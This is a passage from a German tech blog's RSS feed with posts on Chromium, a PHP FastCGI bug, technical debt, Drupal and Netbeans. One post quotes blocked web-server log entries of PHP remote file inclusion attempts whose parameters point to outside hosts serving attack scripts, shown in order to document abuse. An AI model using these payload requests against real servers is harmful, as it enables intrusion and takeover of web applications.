<p>Netbeans weist den Chromium Browser hier an sein Profil unterhalb von /tmp anzulegen. So muss man zwar einmalig &#8220;nichts importieren&#8221; und &#8220;nicht als Default Browser&#8221; anklicken, dafür bleibt jedoch auch wenig übrig, wenn die Entwicklung fertig ist. Zum Debugging (Ajax, JavaScript etc. pp) kann man natürlich dann auf den Firefox oder Tests zurückgreifen.</p>
<p>Damit soll übrigens nicht gesagt sein, dass Firefox insgesamt schlecht oder langsam wäre. Sicherlich wird die nächste Version von Firefox auch nochmal deutlich schneller werden, und zum täglichen Gebrauch werde ich ganz sicher (so bald) nicht zu Chromium wechseln. Für diesen speziellen Zweck macht sich Chromium bei mir jedoch sehr bezahlt. (In so fern mein &#8220;Dankeschön&#8221; an Google für die Entwicklung des Google Chrome Browsers, ohne den es auch kein Chromium gäbe.)</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/chromium-browser-schneller-entwickeln-1278/">Chromium Browser: Schneller Entwickeln!</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/google-chrome-extensions-kommen-fur-chromium-768/' rel='bookmark' title='Google Chrome: Extensions kommen für Chromium'>Google Chrome: Extensions kommen für Chromium</a></li>
<li><a href='http://everflux.de/browser-speed-was-ist-drann-an-chrome-v8-und-co-774/' rel='bookmark' title='Browser Speed &#8211; was ist drann an Chrome, V8 und Co?'>Browser Speed &#8211; was ist drann an Chrome, V8 und Co?</a></li>
<li><a href='http://everflux.de/yahoo-schneller-zugriff-vs-privacy-491/' rel='bookmark' title='Yahoo: Schneller Zugriff vs. Privacy'>Yahoo: Schneller Zugriff vs. Privacy</a></li>
<li><a href='http://everflux.de/browser-malware-mit-einem-klick-entfernen-1268/' rel='bookmark' title='Browser Malware mit einem Klick entfernen&#8230;'>Browser Malware mit einem Klick entfernen&#8230;</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/chromium-browser-schneller-entwickeln-1278/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP FastCGI Path Bug (Ubuntu Hardy)</title>
		<link>http://everflux.de/php-fastcgi-path-bug-ubuntu-hardy-1089/</link>
		<comments>http://everflux.de/php-fastcgi-path-bug-ubuntu-hardy-1089/#comments</comments>
		<pubDate>Mon, 04 May 2009 13:29:06 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[hardy heron]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1089</guid>
		<description><![CDATA[Ubuntu Hardy Heron ist derzeit das aktuelle LTS Release von Ubuntu, also ein gutes Argument Hardy für Server einzusetzen. Doch es gibt auch Gründe zu wechseln, wie mir sehr schmerzhaft vor Augen geführt wurde. Zur Konstellation: PHP wird auf dem betreffenden Server mittels FastCGI Protokoll (fcgid) betrieben. Damit auch suexec zum Zuge kommt, wird der [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-fastcgi-path-bug-ubuntu-hardy-1089/">PHP FastCGI Path Bug (Ubuntu Hardy)</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Ubuntu Hardy Heron ist derzeit das aktuelle LTS Release von Ubuntu, also ein gutes Argument Hardy für Server einzusetzen. Doch es gibt auch Gründe zu wechseln, wie mir sehr schmerzhaft vor Augen geführt wurde.</p>
<p>Zur Konstellation: PHP wird auf dem betreffenden Server mittels FastCGI Protokoll (fcgid) betrieben. Damit auch suexec zum Zuge kommt, wird der PHP Interpreter über ein kleines Wrapper-Script gestartet. Dies führt dazu, dass in der Umgebungsvariable SCRIPT_NAME nur der Wrapper steht &#8211; normalerweise. Dankenswerterweise wird das von PHP erkannt und irgendwie umgeschrieben, so dass hier der tatsächliche (erwartete) Wert steht. Ebenfalls sollte PATH_INFO nur noch den nach dem Script folgenden Anhang aufweisen, so dass man hier bei Bedarf Parameterübergabe (z.B. für &#8220;REST&#8221;) abwickeln kann.</p>
<p class="p">Leider tut das mit PHP 5.2.4 (genauer: PHP 5.2.4-2ubuntu5.6 ) nicht wie erwartet. PATH_INFO ist leer, SCRIPT_NAME enthält bei bestimmten Bedingungen unsinnge Daten.<span id="more-1089"></span>Ich habe das anhand eines Scriptes, info.php, das nicht tut, als phpinfo() aufzurufen, einmal dokumentiert. Das Script wird so aufgerufen: &#8220;/info.php//&#8221; &#8211; zu erwarten ist nun, dass SCRIPT_NAME &#8220;info.php&#8221; enthält, PATH_INFO &#8220;//&#8221; und REQUEST_URI etc. ebenfalls sinnvolle Werte. (Aus REQUEST_URI und SCRIPT_NAME kann man sich die PATH_INFO auch einfach selber extrahieren &#8211; dazu sind jedoch korrekte Inhalte nötig.)</p>
<p class="p">Hier der Vergleich zwischen Ubuntu Hardy und Ubuntu Intrepid, respektive PHP 5.2.6 (5.2.6-2ubuntu4.2)</p>
<p class="p"><a href="http://everflux.de/wp-content/uploads/2009/05/php-524.png"><img class="size-medium wp-image-1090" title="php info 5.2.4" src="http://everflux.de/wp-content/uploads/2009/05/php-524-300x84.png" alt="php info 5.2.4" width="300" height="84" /></a></p>
<p><a href="http://everflux.de/wp-content/uploads/2009/05/php-526.png"><img class="size-medium wp-image-1091" title="php info 5.2.6" src="http://everflux.de/wp-content/uploads/2009/05/php-526-300x74.png" alt="php info 5.2.6" width="300" height="74" /></a>
</p>
<p class="p">Die Lösung also? &#8220;do-release-upgrade -d&#8221; von Hardy nach Intrepid. Ich denke nicht, dass dies Verhalten in Hardy gefixt wird. Oder werden darf &#8211; schließlich könnte es ja sein, dass einige Anwendungen sich genau auf diesen Fehler verlassen.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-fastcgi-path-bug-ubuntu-hardy-1089/">PHP FastCGI Path Bug (Ubuntu Hardy)</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/vmware-server-mit-ubuntu-hardy-heron-804-lts-526/' rel='bookmark' title='VMware Server mit Ubuntu Hardy Heron 8.04 LTS'>VMware Server mit Ubuntu Hardy Heron 8.04 LTS</a></li>
<li><a href='http://everflux.de/ubuntu-hardy-update-asterisk-und-chan_capi-579/' rel='bookmark' title='Ubuntu Hardy Update: Asterisk und chan_capi'>Ubuntu Hardy Update: Asterisk und chan_capi</a></li>
<li><a href='http://everflux.de/java-jvm-crash-ubuntu-hardy-heron-534/' rel='bookmark' title='Java: jvm Crash &#8211; Ubuntu Hardy Heron'>Java: jvm Crash &#8211; Ubuntu Hardy Heron</a></li>
<li><a href='http://everflux.de/java-jvm-und-eclipse-absturze-mit-ubuntu-hardy-heron-528/' rel='bookmark' title='Java (JVM) und Eclipse Abstürze mit Ubuntu Hardy Heron'>Java (JVM) und Eclipse Abstürze mit Ubuntu Hardy Heron</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/php-fastcgi-path-bug-ubuntu-hardy-1089/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP remote exploits</title>
		<link>http://everflux.de/php-remote-exploits-911/</link>
		<comments>http://everflux.de/php-remote-exploits-911/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 13:38:44 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Allgemein/Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=911</guid>
		<description><![CDATA[PHP remote exploits, wie z.B. der für phpraider sind offenbar ziemlich verbreitet &#8211; denn allein auf dies Blog prasseln haufenweise entsprechende HTTP Anfragen ein. Die Ursache dabei ist in meinen Augen viel weniger die Programmiersprache &#8220;PHP&#8221;, als der verantwortungslose Umgang mit &#8220;Scripten&#8221;, Webspace und dedizierten Servern.Bei einem Preise von deutlich unter 50 Euro im Monat [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-remote-exploits-911/">PHP remote exploits</a></p>
]]></description>
			<content:encoded><![CDATA[<p>PHP remote exploits, wie z.B. der für <a href="http://everflux.de/phpraider-phpbb3-remote-exploit-564/">phpraider</a> sind offenbar ziemlich verbreitet &#8211; denn allein auf dies Blog prasseln haufenweise entsprechende HTTP Anfragen ein. Die Ursache dabei ist in meinen Augen viel weniger die Programmiersprache &#8220;PHP&#8221;, als der verantwortungslose Umgang mit &#8220;Scripten&#8221;, Webspace und dedizierten Servern.<span id="more-911"></span>Bei einem Preise von deutlich unter 50 Euro im Monat werden &#8211; oft Linux basierte &#8211; Mietserver von vielen Hostern angeboten. Für die Kunden ist dabei oft garnicht erkennnbar, welche Verantwortung damit einhergeht. Wartung, Sicherheitsupdates? Oft werden Windows Desktop Computer besser gewartet, als diese Billigserver.</p>
<p>Besonders unerfahrene Anwender tendieren dazu, Adaware, TuneUpUltraRegistry, Antipetz-und-nospy, Virenscanner und am besten noch drei Firewalls zu installieren &#8211; beim Server ist da Fehlanzeige. Doch auch die Hoster tragen hier eine Mitverantwortung: Es wird dem Kunden suggeriert, dass mit dem Mietpreis &#8220;all incl.&#8221; ist &#8211; Traffik, Strom, Hardware. Entsprechende Maßnahmen um zumindest etwas Sicherheit herzustellen (&#8220;managed Server&#8221;) sind dann &#8211; aus gutem Grund &#8211; jedoch verboten teuer. Der Markt möchte billig.</p>
<p>Bei jedem Auto ist dem Fahrer per Gesetz eine Absicherung gegen das mit einem Kraftfahrzeug einhergehende Betriebsrisiko vorgeschrieben: Regelmäßige Kontrolle durch eine unabhängige Institution (TÜV), Haftpflichtversicherung gegen verursachte Schäden.</p>
<p>Was könnte helfen? Ein Tool wie &#8220;snort&#8221; könnte von den großen Providern eingesetzt werden, um auf bestimmte Muster zu achten. Von der technischen Machbarkeit abgesehen sind dabei immense Kosten zu erwarten. Doch nicht nur das Problem der gehackten (Home-) Server, auch ein Ende der Spamflut, deren Bekämpfung nicht unerhebliche Ressourcen verschlingt wäre in Sicht.<br />
Vielleicht denkt der eine oder andere Hoster darüber mal nach &#8211; und verdient sich einen Wettbewerbsvorteil.</p>
<p>Wie schlimm es tatsächlich ist, zeigt ein kurzer Blick in die Anfragen auf dies Blog, die trotz Firewall noch angekommen sind. Ich habe hier lediglich nach Anfragen im Januar 2009 aus dem /16 1&amp;1 Netz SCHLUND-PA-5 gesucht:</p>
<pre>87.106.102.198 - - [13/Jan/2009:18:25:06 +0100] "GET /errors.php?error=http://http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.803" 0 everflux.de
87.106.104.102 - - [19/Jan/2009:23:21:38 +0100] "GET /errors.php?error=http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.104.102 - - [25/Jan/2009:17:10:03 +0100] "GET /errors.php?error=http://ilco.org//cache/ready?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 220 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /seo-phpbborg-bald-wieder-online-469/include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET //contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 238 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET /startup-erfolg-social-brand-und-media-548//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 281 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:53 +0100] "GET /tag/startupcamp//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 255 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET /eclipse-jsp-syntax-validation-probleme-721//errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET //errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de</pre>
<p>Ich bin dabei davon ausgegangen, dass die PHP remote exploits versuchen, eine URL per &#8220;=http&#8230;.&#8221; einzuschleusen. Wer die Suche selber nachvollziehen möchte, kann z.B. folgenden Befehl verwenden:</p>
<pre>zgrep 87.106 access.log* | grep "=http" | cut -d ":" -f 2- | grep "/2009:" |</pre>
<p>Ich habe Eins-und-Eins über die Entdeckung informiert, und bin gespannt, wie hier reagiert wird.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-remote-exploits-911/">PHP remote exploits</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/phpraider-phpbb3-remote-exploit-564/' rel='bookmark' title='PHPRaider phpbb3 Remote Exploit'>PHPRaider phpbb3 Remote Exploit</a></li>
<li><a href='http://everflux.de/glassfish-remote-monitoring-mit-visualvm-auf-ubuntu-1720/' rel='bookmark' title='Glassfish remote Monitoring mit VisualVM auf Ubuntu'>Glassfish remote Monitoring mit VisualVM auf Ubuntu</a></li>
<li><a href='http://everflux.de/yak-scheren-hudson-remote-deploy-auf-glassfish-v3-1708/' rel='bookmark' title='Yak scheren: Hudson remote Deploy auf Glassfish (v3)'>Yak scheren: Hudson remote Deploy auf Glassfish (v3)</a></li>
<li><a href='http://everflux.de/warum-ich-newskraft-sperre-472/' rel='bookmark' title='Warum ich Newskraft sperre'>Warum ich Newskraft sperre</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/php-remote-exploits-911/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Schulden sind ok.</title>
		<link>http://everflux.de/schulden-sind-ok-895/</link>
		<comments>http://everflux.de/schulden-sind-ok-895/#comments</comments>
		<pubDate>Sun, 25 Jan 2009 19:49:40 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[softwareentwicklung]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=895</guid>
		<description><![CDATA[Schulden sind manchmal ok. Auch wenn gerade Finanzkrise und Pleiten die Welt zeichnen, geht es mir jedoch nicht um das Thema Geld Schulden (da gibt es haufenweise Wege um schulden frei zu werden, oder unter Zuhilfenahme eines Schuldenberaters raus aus den Geld Schulden zu kommen), es geht um Software-Schulden. Ähnlich wie bei Geld, dass man [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/schulden-sind-ok-895/">Schulden sind ok.</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Schulden sind manchmal ok. Auch wenn gerade Finanzkrise und Pleiten die Welt zeichnen, geht es mir jedoch nicht um das Thema Geld Schulden (da gibt es haufenweise Wege um <a title="Schulden Frei" href="http://www.schulden-ex.de/38-0-schuldenfrei.html" target="_blank">schulden frei</a> zu werden, oder unter Zuhilfenahme eines <a href="http://www.schulden-ex.de/54-0-schuldenberater.html" target="_blank">Schuldenberaters</a> raus aus den Geld Schulden zu kommen), es geht um Software-Schulden.<br />
Ähnlich wie bei Geld, dass man sich per Kredit leiht, gibt es auch bei der Softwareentwicklung Momente, in denen Schulden aufgenommen werden. Und auch hier werden Zinsen fällig.<span id="more-895"></span>Im ideal Fall verläuft die Entwicklung einer Software so, dass es ein schönes Design gibt, um ein Produkt in eine Software-Gesamtarchitektur zu integrieren. Normalerweise gibt es hier noch keine Probleme &#8211; es sei denn, man befindet sich in einem Projekt, in dem der Auftraggeber &#8220;lieber anfangen als Papier produzieren&#8221; möchte. Hiervon sollte man im besten Interesse sowohl des Auftraggebers, als auch einem selber Abstand nehmen. (Es wird sich sicherlich Tochter/Sohn eines Bekannten, oder ein Student finden, der eher zu den Vorstellungen eines solchen Projektes passt.)</p>
<p>Doch wann entstehen die Schulden &#8211; und wie wird man sie wieder los? Erstmal gilt es die Wahrnehmung zu schaffen: Meist wird ein Feature als Erweiterung oder Änderung (changerequest) gewünscht, das entweder etwas generischer und flexibel umgesetzt werden kann, oder als &#8220;auf die schnelle&#8221; als Hack. Ist davon auszugehen, dass das Feature nicht weiterentwickelt oder als Grundlage für weitere Funktionalität genutzt wird, oder auf absehbare Zeit wieder ausgebaut wird, spricht gegen so einen Hack nichts.<br />
&#8220;Requirements always change&#8221; &#8211; und der kurfristige Hack von heute ist ein fundamentales Feature von morgen. Wird hier erst spät agiert, sind bereits hohe Zinsen aufgelaufen. Der Auftraggeber versteht nicht, wieso die Erweiterungen für die Software immer teurer werden, und erst recht möchte er nicht investieren, um Geld für ein vorhandenes Feature (&#8220;tut doch&#8221;) auszugeben, bei dem sich für den Kunden garnichts ändert.</p>
<p>Refactoring oder <a href="http://de.wikipedia.org/wiki/Reengineering_(Software)" target="_blank">re-engineering</a> sind Wege mit so einer Altlast in Form von Software-Schulden umzugehen. Reagiert man zu spät, kommt der Zeitpunkt von dem man oft hört: &#8220;Rewrite from Scratch&#8221;, die Software wird von Grund auf neu gebaut. Extrem teuer, zeitaufwendig &#8211; Wettbewerbsvorteil für die Konkurrenz. (Auch populäre Seiten wie Slashdot haben gleiches bereits durchgemacht, siehe <a href="http://en.wikipedia.org/wiki/Slashcode" target="_blank">Slashcode</a>)</p>
<p>Und wie bekommt man den Kunden dazu, mitzuziehen? Erstmal ist wichtig, dass man sich der Schulden bewußt ist. Dumping Angebote bei Ausschreibungen, nur um einen Auftrag zu bekommen sollte man für sich selber unbedingt vermeiden. Vernünftig kalkulierte Angebote, Transparenz und aktive Kommunikation mit dem Kunden sind hier entscheidend. Möchte der Kunde &#8220;Schulden&#8221; machen, dann ist das ok, wenn er diese Entscheidung auch informiert und bewußt trifft. Auf diese Weise gibt es die Basis für eine langfristige und produktive Zusammenarbeit, und wenig Verdruss.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/schulden-sind-ok-895/">Schulden sind ok.</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/spam-sie-haben-schulden-ohne-schulden24de-endlich-ein-kontode-464/' rel='bookmark' title='Spam: Sie haben Schulden? ohne-schulden24.de / endlich-ein-konto.de'>Spam: Sie haben Schulden? ohne-schulden24.de / endlich-ein-konto.de</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/schulden-sind-ok-895/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drupal: Content/Seiten intern verlinken</title>
		<link>http://everflux.de/drupal-contentseiten-intern-verlinken-883/</link>
		<comments>http://everflux.de/drupal-contentseiten-intern-verlinken-883/#comments</comments>
		<pubDate>Mon, 19 Jan 2009 21:25:48 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[drupal]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=883</guid>
		<description><![CDATA[Drupal ist ein sehr modulares und anpassungsfähiges CMS. Im Grunde &#8220;lebt&#8221; Drupal von Erweiterungen und Modulen, denn der Drupal Core ist eher als Infrastruktur zu verstehen, und als web CMS noch nicht produktiv einsetzbar. Der Vorteil dieser Vorgehensweise bei Drupal ist ganz klar, dass man sich das eigene CMS wie mit einem Baukasten zusammenstellen kann. [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/drupal-contentseiten-intern-verlinken-883/">Drupal: Content/Seiten intern verlinken</a></p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://everflux.de/wp-content/uploads/2009/01/drupal.gif"><img class="alignright size-full wp-image-888" title="drupal logo" src="http://everflux.de/wp-content/uploads/2009/01/drupal.gif" alt="drupal logo" width="147" height="163" /></a>Drupal ist ein sehr modulares und anpassungsfähiges CMS. Im Grunde &#8220;lebt&#8221; Drupal von Erweiterungen und Modulen, denn der Drupal Core ist eher als Infrastruktur zu verstehen, und als web CMS noch nicht produktiv einsetzbar. Der Vorteil dieser Vorgehensweise bei Drupal ist ganz klar, dass man sich das eigene CMS wie mit einem Baukasten zusammenstellen kann. Mit den damit verbundenen Nachteilen: Es gilt sich zu informieren und einzuarbeiten.<span id="more-883"></span>Die wichtigsten Dinge bei einem Web Content Management System, WCMS, sind in meinen Augen die folgenden Funktionen:</p>
<ul>
<li>Neuen Inhalt erstellen (Text)</li>
<li>Bilder und Medien hinzufügen</li>
<li>Inhalte untereinander verlinken (Struktur, Navigation)</li>
</ul>
<p>Bei anderen CMS Systemen als Drupal gab es in der Regel mehr oder minder komfortable Möglichkeiten, auf Inhalte zu verlinken. Drupal jedoch verfügt zum einen von Haus aus nicht über einen Wysiwyg Editor, noch gibt es eine einfache Möglichkeit, Inhalte zu verlinken. Doch hier wird dank der vielen Drupal Module abgeholfen, allein drei ausgereifte Wysiwyg Editoren stehen zur Auswahl.</p>
<p>Der <a href="http://drupal.org/project/fckeditor" target="_blank">FCKEditor</a> hat dabei die Möglichkeit, das <a href="http://drupal.org/project/linktocontent" target="_blank">linktocontent</a> Modul zu integrieren, um eine Auswahl von Nodes, Menüs oder Kategorien zur Auswahl zur stellen, um einen Link im Editor einzufügen.</p>
<p>Nach der Installation und Einrichtung sieht das dann so aus:</p>
<p><a href="http://everflux.de/wp-content/uploads/2009/01/link-to-content-fckeditor.png"><img class="alignnone size-medium wp-image-885" title="link-to-content-fckeditor" src="http://everflux.de/wp-content/uploads/2009/01/link-to-content-fckeditor-300x222.png" alt="link-to-content-fckeditor" width="300" height="222" /></a></p>
<p>Zu  beachten ist dabei, dass es eine inoffizielle Version des linktocontent Moduls gibt, dass für die Verwendung mit dem FCKEditor gepatcht ist &#8211; der Download findest sich hier: http://drupal.fckeditor.net/download/linktocontent-fckeditor-6.x-2.x-dev.zip</p>
<p>Wie die Entwicklung bei den beiden Drupal Modulen weiter geht, ist leider nicht abzusehen. Gerade für weniger technisch versierte Menschen (und reine Editoren) ist eine einfache interne Verlinkung von Drupal Inhalten wünschenswert bis essentiell.<br />
Drupal enttäuscht hier bei einem ansonsten sehr soliden und guten Gesamteindruck  &#8211; den Mailinglisten ist zu entnehmen, dass die Entwickler von Drupal sich der schlechten Useability beim Verlinken von Drupal Nodes bewusst sind, evtl. wird Drupal 7 eine grundlegend bessere Lösund anbieten, als der FCKEditor-Linktocontent-Hack.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/drupal-contentseiten-intern-verlinken-883/">Drupal: Content/Seiten intern verlinken</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/wordpress-seiten-statisch-cachen-und-server-entlasten-599/' rel='bookmark' title='WordPress Seiten statisch cachen und Server entlasten'>WordPress Seiten statisch cachen und Server entlasten</a></li>
<li><a href='http://everflux.de/google-content-analyse-per-webmaster-tools-446/' rel='bookmark' title='Google Content Analyse per Webmaster Tools'>Google Content Analyse per Webmaster Tools</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/drupal-contentseiten-intern-verlinken-883/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Netbeans: Datei Extension umbenennen? Nein.</title>
		<link>http://everflux.de/netbeans-datei-extension-umbenennen-nein-845/</link>
		<comments>http://everflux.de/netbeans-datei-extension-umbenennen-nein-845/#comments</comments>
		<pubDate>Mon, 29 Dec 2008 15:03:05 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[netbeans]]></category>
		<category><![CDATA[sun]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=845</guid>
		<description><![CDATA[Frage: Wie kann ich in netbeans eine Datei mit Extension umbennen? (z.B. foo.inc nach foo.jsp) Antwort: Wir verstehen dass dir das wichtig ist&#8230; derzeit bieten wir an, dass du Dateien ohne Änderung der Extension umbenennen kannst, oder die Datei außerhalb von Netbeans, z.B. über den Nautilus Explorer umbenennst. Der zugehörige Netbeans Bug von 2002 ist [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-datei-extension-umbenennen-nein-845/">Netbeans: Datei Extension umbenennen? Nein.</a></p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://everflux.de/wp-content/uploads/2008/12/nb-logo2.gif"><img class="alignright size-full wp-image-846" title="nb-logo2" src="http://everflux.de/wp-content/uploads/2008/12/nb-logo2.gif" alt="nb-logo2" width="159" height="60" /></a>Frage: <span style="font-size: small;">Wie kann ich in netbeans eine Datei mit Extension umbennen? (z.B. foo.inc nach foo.jsp)</span></p>
<p><span style="font-size: small;">Antwort: </span><span style="font-size: small;">Wir verstehen dass dir das wichtig ist&#8230; derzeit bieten wir an, dass du Dateien ohne Änderung der Extension umbenennen kannst, oder die Datei außerhalb von Netbeans, z.B. über den Nautilus Explorer umbenennst.</span></p>
<p><span style="font-size: small;">Der zugehörige Netbeans Bug von 2002 ist <a href="http://www.netbeans.org/issues/show_bug.cgi?id=27444">Issue 27444</a>. Besonders ärgerlich ist das, wenn es z.B. gilt viele Dateien umzubenennen, was bei *.php5 -&gt; *.php ja mal vorkommt.<br />
Und ich bin sicher nicht der einzige, der Netbeans so benutzen soll: <a href="http://forums.netbeans.org/topic6082.html">http://forums.netbeans.org/topic6082.html</a><br />
</span></p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-datei-extension-umbenennen-nein-845/">Netbeans: Datei Extension umbenennen? Nein.</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/netbeans-67-release-1184/' rel='bookmark' title='Netbeans 6.7 release'>Netbeans 6.7 release</a></li>
<li><a href='http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/' rel='bookmark' title='Oracle veröffentlicht Netbeans 6.9'>Oracle veröffentlicht Netbeans 6.9</a></li>
<li><a href='http://everflux.de/netbeans-65-kommt-rc1-709/' rel='bookmark' title='Netbeans 6.5 kommt: RC1'>Netbeans 6.5 kommt: RC1</a></li>
<li><a href='http://everflux.de/netbeans-copy-support-failed-continue-1290/' rel='bookmark' title='Netbeans: Copy support failed. Continue?'>Netbeans: Copy support failed. Continue?</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/netbeans-datei-extension-umbenennen-nein-845/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Netbeans 6.5 released</title>
		<link>http://everflux.de/netbeans-65-released-751/</link>
		<comments>http://everflux.de/netbeans-65-released-751/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 23:40:11 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[netbeans]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=751</guid>
		<description><![CDATA[Die integrierte Entwicklungsumgebung Netbeans ist in Version 6.5 erschienen, einen kompletten Überblick über die Netbeans Features findet sich hier. Neben IntelliJ IDEA und Eclipse hat sich Netbeans zu einem sehr attraktiven, offenen und schnellen Produkt entwickelt, das nicht nur Java Entwicklern zu empfehlen ist. Gerade die Unterstützung verschiedener Programmiersprachen, von JavaScript über PHP zu Python, [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-65-released-751/">Netbeans 6.5 released</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Die integrierte Entwicklungsumgebung <a href="http://www.netbeans.org/">Netbeans </a>ist in Version 6.5 erschienen, einen kompletten Überblick über die Netbeans Features findet sich <a href="http://www.netbeans.org/features/">hier</a>. Neben IntelliJ IDEA und Eclipse hat sich Netbeans zu einem sehr attraktiven, offenen und schnellen Produkt entwickelt, das nicht nur Java Entwicklern zu empfehlen ist.</p>
<p>Gerade die Unterstützung verschiedener Programmiersprachen, von JavaScript über PHP zu Python, Ruby und natürlich Java ist teilweise besser in Netbeans als in Eclipse gelöst. Zusätzliche Features lassen sich als Plugins nachinstallieren, und auch mit &#8220;der&#8221; (kommerziellen) IDE IntelliJ muss Netbeans den Vergleich keineswegs scheuen. In meinen Augen für Java Desktop Entwickler ist weiterhin der GUI Builder Matisse und als freies UML Tool zum Designen und Reverseengineering das UML Tool von Netbeans wirklich herausragend.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-65-released-751/">Netbeans 6.5 released</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/netbeans-65-milestone-1-php-groovy-glassfish-und-mehr-604/' rel='bookmark' title='Netbeans 6.5 Milestone 1 PHP, Groovy, Glassfish und mehr'>Netbeans 6.5 Milestone 1 PHP, Groovy, Glassfish und mehr</a></li>
